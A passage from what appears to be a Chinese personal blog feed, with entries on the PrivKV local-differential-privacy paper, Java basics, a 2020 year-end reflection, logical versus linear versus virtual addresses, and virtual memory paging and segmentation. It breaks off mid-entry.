ACCURACY</h1><p>优化策略的简单理解：选择一些迭代进行真的在用户方进行计算，其余的迭代过程全在数据收集者处完成。</p><p>优点：原本的算法需要每次计算出均值然后让用户再来根据数据收集者计算的均值回馈，然后迭代计算。这样用户需要频繁计算和通信。优化策略就只要从用户那里收集一次数据，后面的c−1轮迭代，可以自己完成，这里称为虚拟迭代（Virtual Iterations）。这样能有效地降低用户和收集器之间的网络传输开销，从而提高了延迟；其次，由于虚拟迭代不会花费任何隐私预算，因此可以为真实迭代分配更多的隐私预算，从而提高估计精度。</p><img src="/2021/09/24/Paper-PrivKV/EVI.png" class=""><p>算法中的重要的点在于计算$\theta$和预测第$c$次迭代的均值$m_k^{(c)}$。</p><p>证明过程利用了真实均值与估计均值的期望值之差收敛为零这个性质。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">证明利用的性质是基于完整的迭代过程去逆推每一次迭代的均值的期望，以最优的期望取预测每一次的均值，所以如果迭代次数很多时，在虚拟迭代会放大真实迭代的效果（相当于迭代了更多次）</span><br></pre></td></tr></table></figure><p>论文中说明虚拟迭代的精度增益很大程度上取决于第一次迭代的精度。 然而，如果后者只被给予很小的隐私预算，例如 = 0.05，则在第一次迭代中引入的压倒性噪声可能会通过虚拟迭代进一步累积。（由此也可以看出如果要使用优化策略,无论是PrivKVM还是PrivKVM+，都需要考虑隐私分配策略是否合理）正如将在性能评估中显示的那样，除非隐私预算很小，否则这种优化策略可以很好地工作。</p><hr><h1 id="EXPERIMENTAL-EVALUATION"><a href="#EXPERIMENTAL-EVALUATION" class="headerlink" title="EXPERIMENTAL EVALUATION"></a>EXPERIMENTAL EVALUATION</h1><p>在实验评估中，分别对key的频率估计和value的均值估计进行了对比实验：</p><ul><li>对于keys：与RAPPOR，k-RR，和SHist进行比较（使用与论文方案相同的采样技术）；</li><li>对于values：将PrivKVM-Harmony和PrivKVM-MeanEst与PrivKVM进行对比</li></ul><p>因为进行对比的方案有的只能处理分类（key）或数值型（value），为了公平，实验尽可能的调节这些方案使其能够适应key-value背景下的数据。</p><p>数据集采取了6个数据集：</p><img src="/2021/09/24/Paper-PrivKV/dataset.png" class=""><p>前三个是合成数据集，分别满足高斯、幂律、线性分布，后三个是采样的实际的公共数据资源。</p><p>论文采用了相对误差（RE）和均方误差（MSE）取对数进行评估的计数。</p><p><strong>A. 总体结果</strong></p><p>从总体来看，PrivKVM在均值估计上比其他两个方案更加精确，特别是在隐私预算较小和真实数据集上。隐私预算较小时较好是因为小的隐私预算会导致高的扰动，因此导致更多的异常值，而PrivKVM有对异常值做校正，所以会比较有优势；对于真实数据，是因为异常值在真实数据集（KV对非常稀疏）中更容易出现。论文提到图中（d）（e）（f）的均方误差的绝对值要普遍高于前三个，是因为样本数据量要少于前者。</p><img src="/2021/09/24/Paper-PrivKV/f1.png" class=""><p>对于频率估计，在不同隐私预算下，PrivKVM在PLAW数据集上的相对误差都优于另三种，在Appdata数据集上，因为采样数据集是非常稀疏的，因此键是非常嘈杂且无意义，论文只绘制了前100个键的的频率估计下的相对误差，即使在此情况下，PrivKVM依然是最优。</p><img src="/2021/09/24/Paper-PrivKV/f2.png" class=""><p>比较端到端宽带开销，论文展示了在用户和数据收集者间传输Appdata的比特位数（不太明白为什么会是图示大小，PrivKVM是PrivKV的9倍，因为第一次是从用户打给数据收集器端。）：</p><img src="/2021/09/24/Paper-PrivKV/f3.png" class=""><p><strong>B. 可拓展性</strong></p><p>这里可拓展性是指用户数量或键空间尺寸对数据的频率和均值估计的影响程度。这里其实意思就是，虽然大家都知道对于同一个方法数据越多越准确，但是同样的数据下，你的方法比别人准确就是你厉害了。下图展示了不同用户数量下的误差，可以看出论文的方案均优于对比方案</p><img src="/2021/09/24/Paper-PrivKV/f4.png" class=""><p>对于键空间尺寸而言，从下图中也可以看出其对频率和均值的估计的影响都优于其他算法，这里随着键数量增加误差增大的原因是，用户数固定，如果其键空间尺寸增多，那么对于每一类键，它的数量是减少的，所以导致了误差增大。</p><img src="/2021/09/24/Paper-PrivKV/f5.png" class=""><p><strong>C. key-value的相关性</strong></p><p>使用了Pearson相关系数（？）作为度量并在PLAW和LNR上进行测试。从下图可以看出，隐私预算较大的情况下，PrivKVM处理后的KV对的相关性接近原KV对，而k-RR处理键结合Harmony处理值的这一方案，键值对的相关性基本被消除了。</p><img src="/2021/09/24/Paper-PrivKV/f6.png" class=""><p>为了进一步说明不同频率的键之间键值相关性的保留情况，在高斯分布的数据集上绘制了键和均值的三维图，如下图所示，可以清楚的看出PrivKVM处理后保留了一定的相关性。</p><img src="/2021/09/24/Paper-PrivKV/f7.png" class=""><p><strong>D. 迭代的影响</strong></p><p>论文评估了PrivKVM中的迭代对均值估计精度的影响。 下图显示了在GAUSS和PLAW上的结果。 对于每个隐私预算，论文尝试10次PrivKVM运行，迭代次数从1到10不等。可以看出，在合成数据集中，$Log(MSE)$随着迭代次数的增加而减小并收敛到某个值。 这个值完全是由于值扰动引起的，因为论文已经证明预期和实际均值之间的绝对误差会收敛到零。</p><img src="/2021/09/24/Paper-PrivKV/f8.png" class=""><p>然后还比较了其他方案进行迭代后的均方误差，PrivKVM-Harmony的均方误差其实与PrivKVM差不多，PrivKVM-MeanEst的均方误差基本不变，因为这个方案只适用于域仅有几个键组成的情况。同样的，在隐私预算较小的情况下优势更明显。</p><img src="/2021/09/24/Paper-PrivKV/f9.png" class=""><p><strong>E. 开销函数的影响</strong></p><p>从图中可以看出当通信开销的系数为$A_0=0.2$时，迭代6次比迭代3次开销大，系数比较小的时候（$A_0=0.02$）第3次的开销大于第6次，由于PrivKVM+是寻找合适的迭代次数来实现最低成本，由论文的论述，可以知道前者可能迭代2，3次，后者则可能是4 5 6次迭代。</p><img src="/2021/09/24/Paper-PrivKV/f10.png" class=""><p><strong>F. 虚拟迭代优化的影响</strong></p><p>实验对比了使用虚拟迭代和不使用虚拟迭代策略的情况， 对于前者，我们将要执行的迭代次数$c$设置为 6，这意味着在涉及用户的第一次真正迭代之后将执行 5 次虚拟迭代。 不使用虚拟迭代的迭代次数设置为 6。下图显示了在 GAUSS 和 PLAW 上的结果。</p><img src="/2021/09/24/Paper-PrivKV/f11.png" class=""><p>可以看出观察到，当隐私预算非常小时，PrivKVM 返回的结果非常不准确。 这是因为虚拟迭代的效果在很大程度上取决于第一次真实迭代的准确性，当预算太小时，这是很糟糕的。 当预算增加时，PrivKVM 的准确性提高得很快，就超过了 PrivKVM-noV I。表明虚拟迭代可以放大真实迭代的效果，无论它是好是坏。</p><hr><h1 id="CONCLUSION"><a href="#CONCLUSION" class="headerlink" title="CONCLUSION"></a>CONCLUSION</h1><p>论文设计了一个基于LDP的key-value数据的频率和均值估计的去中心化的隐私保护机制，其提出了三个基于本地扰动协议的方案PrivKV、PrivKVM和PrivKVM+。还提出了虚拟迭代优化策略。并对以上进行了理论和实验分析。</p><p>未来的研究：论文计划研究更多关于键值数据的聚合统计，例如最大值和最小值估计。 我们还计划探索 LDP 用于隐私保护挖掘任务（例如，查找梯度下降或 k 均值聚类），并将这项工作扩展到具有关系依赖关系的查询（例如，自然连接）和未知的关键空间。</p><hr><h1 id="可能存在的问题"><a href="#可能存在的问题" class="headerlink" title="可能存在的问题"></a>可能存在的问题</h1><p>首先该算法的离散化处理，将value二元化，这样对于数据集的统计操作的局限性就很大，就基本只能做做均值、频率、中位数，而做不了有梯度的统计或者是统计最大值或者最小值之类的。</p><p>同样，因为它是离散到二元的，那么如果数据量不够大误差是会很大的，论文也没有方案讨论适用于什么数量级的情况。</p><p>然后就是PrivKVM+自适应确定迭代次数，文章中没有说明初始t值应该如何选取，才能使该方案有较好的效果，该值的估计个人认为又是一个待研究的问题。</p><p>在虚拟迭代中，初始化均值取值算法不同于LPP，他是直接取1，论文同样没有阐述为什么这样做，而且虚拟迭代的精度很大程度取决于第一次迭代均值的精度，这一点又与隐私预算分配相关，如果给太多，虽然第一次精度有一定保证，但迭代收敛过快，还是可能造成精度损失大；若给太少，迭代收敛慢，但第一次精度不足，同样会导致精度问题。论文没有给出具体应该如何确定第一次迭代的精度的检测方案，也没有给出该如何得到较优的第一次迭代的均值。</p><p>PrivKVM算法的真实均值和估计均值的最大差异部分没有太明白，还需要看参考文献中的证明。</p>]]></content>
    
    
    <summary type="html">&lt;center&gt;PrivKV：Key-Value Data Collection with Local Differential Privacy论文记录&lt;/center&gt;</summary>
    
    
    
    <category term="private protection" scheme="http://askylin.top/categories/private-protection/"/>
    
    
    <category term="LDP" scheme="http://askylin.top/tags/LDP/"/>
    
  </entry>
  
  <entry>
    <title>Java Tips</title>
    <link href="http://askylin.top/2021/01/17/Java-Tips/"/>
    <id>http://askylin.top/2021/01/17/Java-Tips/</id>
    <published>2021-01-17T06:38:09.000Z</published>
    <updated>2021-09-20T13:17:53.717Z</updated>
    
    <content type="html"><![CDATA[<hr><h1 id="大数值"><a href="#大数值" class="headerlink" title="大数值"></a>大数值</h1><ul><li>BigInteger和BigDecimal</li></ul><hr><h1 id="字符串"><a href="#字符串" class="headerlink" title="字符串"></a>字符串</h1><ul><li>String类对象为不可变字符串，不能直接使用下标修改字符串的某个位置，而是需要提取、拼接来修改</li><li>char：一般不使用char</li><li>==：不使用<code>==</code>进行字符串间的比较，比较字符串是否相等使用<code>equls()</code>或者<code>compareTo()</code></li><li>StringBuilder Class：适用于使用多个小段字符串构建一个字符串。使用<code>append()</code>方法添加，在使用<code>toString()</code>方法构建出字符串</li></ul><hr><h1 id="I-O"><a href="#I-O" class="headerlink" title="I/O"></a>I/O</h1><ul><li>Scanner Class：通过与标准输入流<code>System.in</code>关联，通过控制台输入(输入是可见的)<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Scanner in = <span class="keyword">new</span> Scanner(System.in);</span><br><span class="line"><span class="comment">//输入一行</span></span><br><span class="line">in.nextLine();</span><br><span class="line"><span class="comment">//输入一个不含空格的字符串</span></span><br><span class="line">in.next();</span><br><span class="line"><span class="comment">//输入整数</span></span><br><span class="line">in.nextInt();</span><br></pre></td></tr></table></figure></li><li>Console Class：适用于在控制台输入密码（不显示明文）<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Console cons = System.console();</span><br><span class="line"><span class="keyword">char</span>[] passwd = cons.readPassword(<span class="string">&quot;Password: &quot;</span>);</span><br></pre></td></tr></table></figure>为了安全起见，在对密码进行处理之后，应该马上用一个填充值覆盖数组元素</li><li>文件读写：使用例如<code>Scanner in = new Scanner(Paths.get(&quot;myfile.txt&quot;), &quot;UTF-8&quot;);</code>创建一个读取文件的对象（读取的文件必须存在）；使用例如<code>PrintWriter out = new PrintWriter(&quot;myfile.txt&quot;, &quot;UTF-8&quot;);</code>创建一个写文件的对象（若文件不存在则创建，文件名必须是可被创建的）</li></ul><hr><h1 id="控制流程"><a href="#控制流程" class="headerlink" title="控制流程"></a>控制流程</h1><ul><li>块作用域：不能在内层命名空间（作用域）重复定义、声明外层代码块的同名变量</li><li>带标签break：设置标签，跳出语句块，跳转到带标签的语句块末尾<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">label:</span><br><span class="line">&#123;</span><br><span class="line">...</span><br><span class="line"><span class="keyword">if</span>(condition) <span class="keyword">break</span> label; <span class="comment">//exit block</span></span><br><span class="line">...</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//jumps here when the break statement executes</span></span><br></pre></td></tr></table></figure></li><li>for each：依次处理数组中的每一个元素（或实现了Iterable接口的类对象）<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (variable : collection) statement;</span><br></pre></td></tr></table></figure>若要遍历二维数组，则需要两层for each：<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">double</span>[] row : a) &#123;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">double</span> value : row) &#123;</span><br><span class="line"><span class="keyword">do</span> something with value;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul><hr><h1 id="数组"><a href="#数组" class="headerlink" title="数组"></a>数组</h1><ul><li>数组拷贝：将一个数组变量拷贝给另一个数组变量，这两个变量引用同一个数组；若是希望拷贝一个数组到新的数组，则需要使用Arrays类的copyOf方法。</li><li>命令行参数args：在Java应用程序的main方法中，程序名并没有存储在args数组中，例如<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java Mesage -h world</span><br></pre></td></tr></table></figure>args[0]是“-h”，而不是java或Message</li></ul><hr><h1 id="类与对象"><a href="#类与对象" class="headerlink" title="类与对象"></a>类与对象</h1><ul><li>更改器方法：能修改对象的方法</li><li>访问器方法：只访问对象而不修改对象的方法</li><li>Java文件名必须与public类的名字相匹配。在源文件中，只能有一个公有类，但可以有任意数目的非公有类</li><li>构造器总是伴随new操作符一起使用：<code>new Employee(&quot;James&quot;, ...)</code></li><li>Java中，所有方法必须在类的内部定义</li><li>不要返回引用可变对象的访问器方法，如果需要返回一个可变对象的引用，应该首先对其进行克隆</li><li>类的方法可以访问类的人一个对象的私有域</li><li>Java可以直接初始化类的实例域</li><li>（this）调用另一个构造器：构造器的第一个语句形如<code>this(...)</code>，这个构造器将调用同一类的另一个构造器</li><li>初始化块：在一个类的声明中，可以包含多个代码块。只要构造类的对象，这些块就会被执行</li><li>Java不支持析构器</li><li>instanceof：双目运算符，用来测试一个对象是否为一个类的实例，eg：<code>boolean result = obj instanceof Class</code></li></ul><hr><h1 id="继承"><a href="#继承" class="headerlink" title="继承"></a>继承</h1><ul><li>Java中所有继承都是公有继承</li><li>Java使用关键字super调用超类方法，也可以实现对超类构造器的调用。</li><li>阻止继承：使用final类和方法</li><li>Object class：默认为所有类的超类（根类）</li><li>Object.equals(a, b)：防备私有数据成员可能为为NULL的情况，若两个参数都是NULL则返回true；其中一个参数为NULL则返回false；两个都不为NULL则调用<code>ａ.equals(b)</code></li><li>ArrayList：类似于C++的vector，但不能使用<code>[]</code>去访问数组列表中的元素，<code>add</code>新增、<code>set</code>修改、<code>get</code>访问</li><li>可变参数数量：使用<code>...</code></li></ul><hr><h1 id="接口、lambda表达式、内部类"><a href="#接口、lambda表达式、内部类" class="headerlink" title="接口、lambda表达式、内部类"></a>接口、lambda表达式、内部类</h1><ul><li>接口没有实例</li></ul><hr><h1 id="日后看情况补充"><a href="#日后看情况补充" class="headerlink" title="日后看情况补充"></a>日后看情况补充</h1><hr>]]></content>
    
    
    <summary type="html">&lt;center&gt;粗略学习Java时小知识点的记录&lt;/center&gt;</summary>
    
    
    
    <category term="Java" scheme="http://askylin.top/categories/Java/"/>
    
    
    <category term="Java" scheme="http://askylin.top/tags/Java/"/>
    
  </entry>
  
  <entry>
    <title>怜时|品世|悟宇</title>
    <link href="http://askylin.top/2020/12/31/Summary2020/"/>
    <id>http://askylin.top/2020/12/31/Summary2020/</id>
    <published>2020-12-31T05:46:30.000Z</published>
    <updated>2021-09-20T13:17:53.717Z</updated>
    
    <content type="html"><![CDATA[<hr><h2 id="当下"><a href="#当下" class="headerlink" title="当下"></a>当下</h2><p>14:00/31/12/2020，晴，宿舍</p><hr><h2 id="2020"><a href="#2020" class="headerlink" title="2020"></a>2020</h2><p>前几天预约显卡，看到1.1日零点开售，还觉得离预售怎么还有这么久。可放下手机突然反应过来，原来2021离我已经没几天了啊。</p><p>“2020年，我所居住的星球被评为全太阳系最魔幻星球……”是的，今年，对于我们所有人来说，都称得上魔幻的一年了吧。在我仍浸在这2020时光之时，时间却永不停息地，如永不损坏的精密机械，运行到了2021。直到今天，我甚至都还不觉得2020原来只有几个小时的时间就过去了，但没办法，已经31日了呢，从去年开始升起的写年终总结的奇怪的仪式感，又在心中作祟了。那就让这篇总结，带我褪去2020的时光，准备穿上2021的新袍。</p><p>2020的一月，是两种颜色。回到成都，和老友们聚在一起吃了几顿饭，游了几次周边，聊天聊地聊未来，友情就像一坛酒，需要靠时间慢慢酝酿，越品越香。这时的一月，是享受的颜色。但这人生在世啊，十有八九不尽人意，突如其来的疫情，彻底阻碍了我们进一步的出游计划，家家门户紧闭，即将到来的新年似乎也增添了许多谨慎和防护。疫情之后的一月，除了每天早上关注新增人数，似乎也就回忆不起其他什么事情了。这时的一月，就像每日不断增长的感染数字一样，是冷酷的颜色。</p><p>二月，随着疫情的加重，学校决定延迟开学，并且在网络授课。一开始听到这个消息，我的内心是激动的：芜湖！谁不想在家多待待，好吃好喝。那时的我也许怎么也想不到这学期都来不了学校了……不过毕竟还是大三下学期了，保研的压力也渐渐增加，开始不断地刷CSP，提升自己，同时也自觉地用功学习了。但偶尔闲下来时，却总感觉到莫名的紧张和迷惘。也许是我不够自信，也许看到大家都已经开始准备考研而我还在为不知能不能取得的保研名额死磕专业课程，那段时间我在知乎等各大网站，查找保研失利的事情，纠结着要不要保研考研两手准备。但最后，也许是我这个人比较适合单线程吧，毅然放弃了两手准备，抱着今年保不上，来年再去考的念头，全力去冲保研了。现在想想，也许只有破釜沉舟，才能有一往无前的勇气吧。</p><p>三月，依旧是每年都值得纪念的日子，而且2020年的3月，对于大学以来的我，更加特殊。这是上大学以来，第一次在家过生日。这次生日，奖励了自己一把静电容键盘，这把键盘，也许未来就是会陪伴我很久的朋友了吧。爸妈在家也为我准备了丰富的午餐，突然有些感谢这次疫情，能让我再一次在家由父母为我祝生。也许越长大就越变得感性吧，人生在世就如佛学所说人生如渡劫，走着走着，就越来越孤独，以后陪伴父母的时间也许就越来越少了吧，这也许就是每个人必然要渡过的一劫吧。只希望未来的我，能平衡好生活，有时间多陪陪父母吧。</p><p>到了四、五月，成都的疫情开始有所缓解，我也终于走出了房门，和爸妈去了趟都江堰，和朋友吃了次烤肉，活动活动关了两个多月的筋骨。这次疫情也让我深刻体会到旅游和美食的珍贵（笑）。</p><p>6月开始到8月初，这是为了保研而奋战的三个月，努力了一学期的我，迎来了期末考试。虽然线上考试带来了许多的不便，但最终还是比较完美的取得了令我满意的成绩，也许这就是努力终有收获吧。考完试之后，也还不能放松，在七月这一整个月，为了参加夏令营，准备各种材料和面试，在家对着镜子和录音机，一遍一遍的练习，同时复习着以前所学的知识。在这期间，突然发现原来这三年里，以前认为没啥重要的课程论文，原来是如此有用，它体现着我视野的广度，能让我面对老师的提问侃侃而谈。终于，有幸取得了夏令营的预推免名额，离保研的目标近了一大步。可以说这是我今年最高兴的一件事吧。</p><p>到了8月，学校通知中旬开学，本想着还有10多天，终于可以和朋友们开展旅游计划了，然而天公再次作妖，整个八月上中旬，成都周边全在下雨，实在是……让我相当不爽（气）。回到学校，CSP也将在9月开展，于是又投身到最后这一次CSP提分的机会中了，每天开始机械化的昨天做题刷题。另外参加的一个比赛也要结题答辩了，于是时间又变得紧张起来。</p><p>9月的日子里，主旋律就是CSP和比赛了。所幸最终CSP分数有所提升，比赛说来惭愧，太菜了只能勉强算个三等奖吧（尴尬）。９月下旬对我来说就是煎熬吧，校内保研名额月底公布，公布前的日子里，甚至没晚的睡眠都不够了，这就是越期望的就越害怕得不到而焦虑的心理吧。最终名额下来后，我十分庆幸这一年里，我付出了比前两年更多的努力，没有松懈吧。这也算完成了去年年终总结定下的最大目标吧。终于，可以放松放松，体验大学生活的另一面了！</p><p>后面这几个月里，我经常一个人抱着相机，去逛南京，去记录生活、品味生活。一个人的短途旅行，可以静下心来思考未来，可以关注到平常忽略的风景，可以走走停停，将自己交给自己，凭心指引。这也许就是我所向往的未来生活一部分吧。</p><hr><h2 id="未来"><a href="#未来" class="headerlink" title="未来"></a>未来</h2><p>最近陪松扬踩点考研考场，在吃饭和散步的时候又聊到了未来。未来总是青年人永恒的话题，我们在每日的生活中不断探究，不断领悟，慢慢形成或改变对未来的看法。简单来说，未来，我和松扬有着相似的看法：工作上努力工作，获取财富，生活上能有一定自由，能和我爱的人爱我的人健健康康幸幸福福的品味生活。似乎随着年龄的增长，就觉得时间越过越快，因此希望能够更加“怜时”，把时间用在刀刃上；随着升学和工作，就将步入社会，我希望无论遇到什么，我能够以体验者的身份，去“品世”。尝遍人生百味，等到中年老年，希望能从着百味人生中，“悟宇”，感悟到一点人生吧。</p><p>当然，最近的未来目标，就是完美的完成毕设，踏入更高的学府，为了心中的未来努力吧！希望来年洗尽铅华，2021，你好！</p><hr>]]></content>
    
    
    <summary type="html">&lt;center&gt;愿2020洗尽铅华。2021明天见！&lt;/center&gt;</summary>
    
    
    
    <category term="summary" scheme="http://askylin.top/categories/summary/"/>
    
    
    <category term="summary" scheme="http://askylin.top/tags/summary/"/>
    
  </entry>
  
  <entry>
    <title>Logical Address?Linear Address?Virtual Address?</title>
    <link href="http://askylin.top/2020/05/22/Address/"/>
    <id>http://askylin.top/2020/05/22/Address/</id>
    <published>2020-05-22T02:59:09.000Z</published>
    <updated>2021-09-20T13:17:53.493Z</updated>
    
    <content type="html"><![CDATA[<hr><blockquote><p>最近在理解计算机内存管理的时候，又看到了这三个名词，当初在学计算机组成原理的时候就有点绕，现在重新来理解，发现网上很多blog说法都不一致，于是重新翻阅《深入理解计算机系统》、《计算机系统基础》以及Intel IA-32手册，发现还是有说的不甚清晰的地方，于是和老师以及同好讨论，最终得出了一个比较合理的概念区分。</p></blockquote><hr><p>先说结论：虚拟地址（虚地址，Virtual Address）在不同的情境下代表不同的意思：</p><ul><li>在<strong>段页式存储</strong>中，虚地址既可以指作<strong>线性地址</strong>（Linear Address），也可以指做<strong>逻辑地址</strong></li><li>在<strong>页式存储和段式存储</strong>中，虚地址指作<strong>逻辑地址</strong>（Logical Address）<br>因此，为了不引起混淆，建议尽量不使用虚拟地址，其本身就是一个比较笼统模糊的概念，感觉就是相对物理地址而言的一个称呼。<br>在本文，规定三个意义明确的地址：逻辑地址、线性地址、物理地址，方便后续解释。</li></ul><hr><h1 id="物理地址"><a href="#物理地址" class="headerlink" title="物理地址"></a>物理地址</h1><p>CPU地址总线传来的地址，由硬件电路控制。</p><h1 id="逻辑地址"><a href="#逻辑地址" class="headerlink" title="逻辑地址"></a>逻辑地址</h1><p>由程序中或者指令中给出的访内地址。</p><h1 id="线性地址"><a href="#线性地址" class="headerlink" title="线性地址"></a>线性地址</h1><p>在段页式存储中，才有线性地址这个概念。是逻辑地址转化到物理地址的中间产物。</p><ul><li>在段式存储中，逻辑地址经过段式管理部件，将其映射为一个线性地址，此时这个线性地址就是物理地址；</li><li>若是在段页式存储中，逻辑地址经过段式管理部件，先被映射为线性地址，然后线性地址通过页式管理部件，被映射成物理地址。</li></ul><hr><h1 id="虚拟地址"><a href="#虚拟地址" class="headerlink" title="虚拟地址"></a>虚拟地址</h1><p>在讨论虚拟地址到底是什么之前，我们先来看三种方式下的地址转换：</p><h2 id="段式"><a href="#段式" class="headerlink" title="段式"></a>段式</h2><img src="/2020/05/22/Address/%E6%AE%B5%E5%BC%8F.png" class=""><h2 id="页式"><a href="#页式" class="headerlink" title="页式"></a>页式</h2><img src="/2020/05/22/Address/%E9%A1%B5%E5%BC%8F.png" class=""><h2 id="段页式"><a href="#段页式" class="headerlink" title="段页式"></a>段页式</h2><img src="/2020/05/22/Address/%E6%AE%B5%E9%A1%B5%E5%BC%8F.png" class=""><p>以上图片来源于《计算机系统基础》和《计算机系统结构》，由图我们可以看出，无论是什么模式下，逻辑地址都可以被称之为虚拟地址（VA），然后由于线性地址其实是一个逻辑地址到物理地址变化的中间产物，可以把线性地址理解为页式存储中的逻辑地址，因此很多说法中，线性地址也被叫做虚地址。</p><hr><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>总的来说，虚地址就是一个笼统的概念，以后遇到了就按情况理解，自己能够分清楚到底是在讲逻辑地址还是线性地址就好，个人倾向于不用虚拟地址这个概念（笑）。</p><hr>]]></content>
    
    
    <summary type="html">&lt;center&gt;逻辑、线性、虚拟地址概念区分&lt;/center&gt;</summary>
    
    
    
    <category term="ICS" scheme="http://askylin.top/categories/ICS/"/>
    
    
    <category term="ICS" scheme="http://askylin.top/tags/ICS/"/>
    
    <category term="Storage" scheme="http://askylin.top/tags/Storage/"/>
    
  </entry>
  
  <entry>
    <title>Virtual Memory</title>
    <link href="http://askylin.top/2020/05/22/ComputerStorage/"/>
    <id>http://askylin.top/2020/05/22/ComputerStorage/</id>
    <published>2020-05-22T01:24:31.000Z</published>
    <updated>2021-09-20T13:17:53.510Z</updated>
    
    <content type="html"><![CDATA[<hr><blockquote><p>对虚拟存储器管理方式和Cache的知识需要了解逻辑地址、线性地址、物理地址的相关概念，若不清楚详见<a href="http://askylin.top/2020/05/22/Address/">Logical Address?Linear Address?Virtual Address?</a></p></blockquote><hr><h1 id="虚拟存储器"><a href="#虚拟存储器" class="headerlink" title="虚拟存储器"></a>虚拟存储器</h1><p>虚拟存储器通过增设<strong>地址映像机构</strong>来实现程序在主存中的定位。将程序分割成若干个<strong>段</strong>或<strong>页</strong>，用相应的映像表指明该程序的某段或某页是否已装入主存。若已装入，同时指明其在主存中的起始地址；若未装入，就去辅存（磁盘）中调段或页，将其装入主存后再在映像表中建立好程序空间和实存空间的地址映像关系。<br>程序执行时先查映像表，将程序（虚）地址变成实（主存）地址后再访问。</p><h2 id="段式管理"><a href="#段式管理" class="headerlink" title="段式管理"></a>段式管理</h2><p><strong>原理</strong>：程序是模块化的，一个程序总可以分解为多个在逻辑上相对独立的模块，每一个模块就是单独的一个<strong>段</strong>，段的起点以0相对编址。当某个段由辅存调入主存，系统赋予该段一个基址，由基址+单元在段内的相对位移就可以形成主存中的实际地址。主存是按段分配的存储管理方式。</p><p><strong>段表</strong>：每个在主存中的程序都有一个段（映像表）表来存放该程序各段在主存中的状况。<strong>段表本身也是一个段</strong>，一般在主存，也可以在辅存，需要时再调入主存。</p><p><strong>段表项</strong>：段表中每一项（行），描述该道程序一个段的基本情况。</p><p><strong>段表基址寄存器</strong>：主存中有N道程序，可设N个段表寄存器。对于每个程序，由基号（程序号）指出使用哪一个段表基址寄存器，然后段表基址寄存器中的段表基址字段指向程序在主存的起始地址，段表长度字段指明该程序所用段表的行（段）数。</p><p>段式管理的地址转换过程如下图：</p><img src="/2020/05/22/ComputerStorage/%E6%AE%B5%E5%BC%8F.png" class=""><p>对图中一些信息做一点解释：</p><ul><li>图示的段表基址寄存器，是由N个段表基址寄存器构成，每一行都是一个寄存器。</li><li>图示的段表，其段名若就是程序每个段的序号，则可以省略。</li><li>图示的段表中装入位为1表示已装入主存，访问方式在一般情况下，为空也不能省略。</li><li>由图可知，段式管理下，虚地址被分为三各部分：基号（程序号），段号，段内位移</li><li>由图可知段式管理的地址转化流程为：<strong>虚地址-&gt;段基址寄存器-&gt;段表-(段起始地址+虚地址中段内位移)-&gt;主存地址</strong>。</li></ul><h2 id="页式管理"><a href="#页式管理" class="headerlink" title="页式管理"></a>页式管理</h2><p><strong>原理</strong>：把主存和程序空间都机械的分成固定大小的页，按页顺序编号。这样<strong>主存地址</strong>就由实页号<code>np</code>和页内位移<code>nr</code>两个字段组成。（划重点，待会会将其与段式管理比较）</p><p><strong>页表</strong>、<strong>页表项</strong>、<strong>页表基址寄存器</strong>类比段式管理</p><p>页式管理的地址转换过程（最基础的一种）如下图：</p><img src="/2020/05/22/ComputerStorage/%E9%A1%B5%E5%BC%8F.png" class=""><p>下面对该图进行一些解释：</p><ul><li>在页表中，因为页式存储中程序的起点必处于一个页面的起点，用户程序中每一个虚地址就由<strong>虚拟页号N’v</strong>字段和<strong>页内位移Nr</strong>字段组成。</li><li>虚存和主存的页面大小一致，因此页表中只需记录<strong>虚拟页号N’v</strong>和<strong>主存页号nv</strong>的对应关系，不用保存页内位移。而且虚页号与页表行号对应，页表中不需要专门的虚页号字段。</li><li>因为虚地址中的页内位移就是实地址中的页内位移，因此页式管理只需要将<strong>主存实页号</strong>与<strong>页内位移</strong>拼起来就得到了主存地址。（回到刚刚划重点的地方，因为主存地址就由这两个字段组成，因此拼接起来就是主存地址了；而段式管理中，是通过<code>基址+段内偏移</code>的运算，计算出主存地址。）</li><li>由页式和段式的图可以看出，段式管理实际上用了两个加法器，而页式只用了一个，这也是页式比段式存储更快一点的原因。</li><li>同样，页表也存在于主存中。</li></ul><h3 id="地址的映像和变换"><a href="#地址的映像和变换" class="headerlink" title="地址的映像和变换"></a>地址的映像和变换</h3><p>虚存一般比实际主存空间大很多，即<code>N&#39;v &gt; nv</code>，因此虚地址空间映射到实地址空间必然会进行压缩，其示意图如下：</p><img src="/2020/05/22/ComputerStorage/%E5%8E%8B%E7%BC%A9.png" class=""><p>而且，页式存储器一般都采用<strong>全相联映像</strong>：让每一道程序的任何虚页可以映射到任何实页位置，如下图所示：</p><img src="/2020/05/22/ComputerStorage/%E5%85%A8%E7%9B%B8%E8%81%94.png" class=""><p>由于主存中装入位为1的行最多只有<code>2^nv</code>行，使得页表中绝大部分实页号字段和其他字段都成为无用的空间，大大降低了页表空间的利用率，因此，有两种方式来提高页表的空间利用率。</p><ol><li><strong>目录表法</strong></li></ol><p>该方法是把页表压缩成只存放已装入主存的虚页，如图：</p><img src="/2020/05/22/ComputerStorage/%E7%9B%AE%E5%BD%95%E8%A1%A8.png" 